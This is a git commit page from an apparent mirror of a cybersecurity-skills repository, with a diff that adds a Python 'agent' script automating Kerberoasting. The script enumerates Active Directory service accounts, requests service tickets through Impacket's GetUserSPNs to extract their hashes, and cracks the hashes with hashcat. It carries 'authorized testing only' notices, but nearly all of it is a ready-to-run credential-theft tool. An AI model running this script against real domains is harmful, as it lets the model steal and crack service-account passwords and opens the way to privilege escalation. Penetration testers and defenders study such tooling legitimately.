mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-08-03 01:10:18 +03:00
Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal
- Add scripts/agent.py and references/api-reference.md to all remaining skills - Update all 648 LICENSE files: copyright now reads 'Mahipal' - Add implementing-security-monitoring-with-datadog (new skill with full anatomy) - All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
This commit is contained in:
@@ -0,0 +1,142 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for Kerberoasting attacks using Impacket (T1558.003) — authorized testing."""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
|
||||
|
||||
def run_getuserspns(domain, username, password, dc_ip, output_file=None):
|
||||
"""Execute Impacket GetUserSPNs to extract service ticket hashes."""
|
||||
cmd = [
|
||||
"GetUserSPNs.py", f"{domain}/{username}:{password}",
|
||||
"-dc-ip", dc_ip, "-request",
|
||||
]
|
||||
if output_file:
|
||||
cmd.extend(["-outputfile", output_file])
|
||||
try:
|
||||
result = subprocess.check_output(
|
||||
cmd, text=True, errors="replace", timeout=60
|
||||
)
|
||||
return {"status": "success", "output": result[:2000]}
|
||||
except subprocess.SubprocessError as e:
|
||||
return {"status": "failed", "error": str(e)[:200]}
|
||||
except FileNotFoundError:
|
||||
return {"status": "failed", "error": "GetUserSPNs.py not found — install impacket"}
|
||||
|
||||
|
||||
def enumerate_spn_accounts_ldap(domain, username, password, dc_ip):
|
||||
"""Enumerate SPN accounts via LDAP query."""
|
||||
cmd = [
|
||||
"GetUserSPNs.py", f"{domain}/{username}:{password}",
|
||||
"-dc-ip", dc_ip,
|
||||
]
|
||||
try:
|
||||
result = subprocess.check_output(
|
||||
cmd, text=True, errors="replace", timeout=30
|
||||
)
|
||||
accounts = []
|
||||
for line in result.strip().splitlines():
|
||||
if line and not line.startswith(("-", "Impacket", "ServicePrincipalName")):
|
||||
parts = line.split()
|
||||
if len(parts) >= 3:
|
||||
accounts.append({
|
||||
"spn": parts[0],
|
||||
"name": parts[1],
|
||||
"memberof": parts[2] if len(parts) > 2 else "",
|
||||
})
|
||||
return accounts
|
||||
except (subprocess.SubprocessError, FileNotFoundError):
|
||||
return []
|
||||
|
||||
|
||||
def crack_with_hashcat(hash_file, wordlist, rules=None):
|
||||
"""Crack Kerberos TGS hashes with hashcat."""
|
||||
cmd = ["hashcat", "-m", "13100", hash_file, wordlist, "--force"]
|
||||
if rules:
|
||||
cmd.extend(["-r", rules])
|
||||
try:
|
||||
result = subprocess.check_output(
|
||||
cmd, text=True, errors="replace", timeout=600
|
||||
)
|
||||
return {"status": "completed", "output": result[:1000]}
|
||||
except subprocess.SubprocessError as e:
|
||||
return {"status": "failed", "error": str(e)[:200]}
|
||||
except FileNotFoundError:
|
||||
return {"status": "failed", "error": "hashcat not found"}
|
||||
|
||||
|
||||
def enumerate_powershell():
|
||||
"""Enumerate SPN accounts via PowerShell (domain-joined Windows)."""
|
||||
ps_cmd = (
|
||||
"Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties "
|
||||
"ServicePrincipalName,PasswordLastSet,Enabled,MemberOf "
|
||||
"| Select-Object SamAccountName,Enabled,PasswordLastSet,"
|
||||
"@{N='SPNs';E={$_.ServicePrincipalName -join ','}} "
|
||||
"| ConvertTo-Json"
|
||||
)
|
||||
try:
|
||||
result = subprocess.check_output(
|
||||
["powershell", "-NoProfile", "-Command", ps_cmd],
|
||||
text=True, errors="replace", timeout=30
|
||||
)
|
||||
data = json.loads(result) if result.strip() else []
|
||||
return data if isinstance(data, list) else [data]
|
||||
except (subprocess.SubprocessError, json.JSONDecodeError):
|
||||
return []
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Kerberoasting with Impacket (authorized testing only)"
|
||||
)
|
||||
parser.add_argument("--domain", help="AD domain")
|
||||
parser.add_argument("--username", help="Domain username")
|
||||
parser.add_argument("--password", help="Domain password")
|
||||
parser.add_argument("--dc-ip", help="Domain controller IP")
|
||||
parser.add_argument("--enumerate", action="store_true", help="Enumerate SPN accounts")
|
||||
parser.add_argument("--request", action="store_true", help="Request TGS tickets")
|
||||
parser.add_argument("--hash-file", help="Output file for hashes")
|
||||
parser.add_argument("--crack", help="Wordlist for hash cracking")
|
||||
parser.add_argument("--output", "-o", help="Output JSON report")
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Kerberoasting Agent (Impacket)")
|
||||
print("[!] For authorized security testing only")
|
||||
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}}
|
||||
|
||||
if args.enumerate:
|
||||
if args.domain and args.username:
|
||||
accounts = enumerate_spn_accounts_ldap(
|
||||
args.domain, args.username, args.password or "", args.dc_ip or ""
|
||||
)
|
||||
else:
|
||||
accounts = enumerate_powershell()
|
||||
report["findings"]["spn_accounts"] = accounts
|
||||
print(f"[*] SPN accounts found: {len(accounts)}")
|
||||
|
||||
if args.request and args.domain:
|
||||
result = run_getuserspns(
|
||||
args.domain, args.username or "", args.password or "",
|
||||
args.dc_ip or "", args.hash_file
|
||||
)
|
||||
report["findings"]["ticket_request"] = result
|
||||
print(f"[*] Ticket request: {result['status']}")
|
||||
|
||||
if args.crack and args.hash_file:
|
||||
crack_result = crack_with_hashcat(args.hash_file, args.crack)
|
||||
report["findings"]["cracking"] = crack_result
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(f"[*] Report saved to {args.output}")
|
||||
else:
|
||||
print(json.dumps(report, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user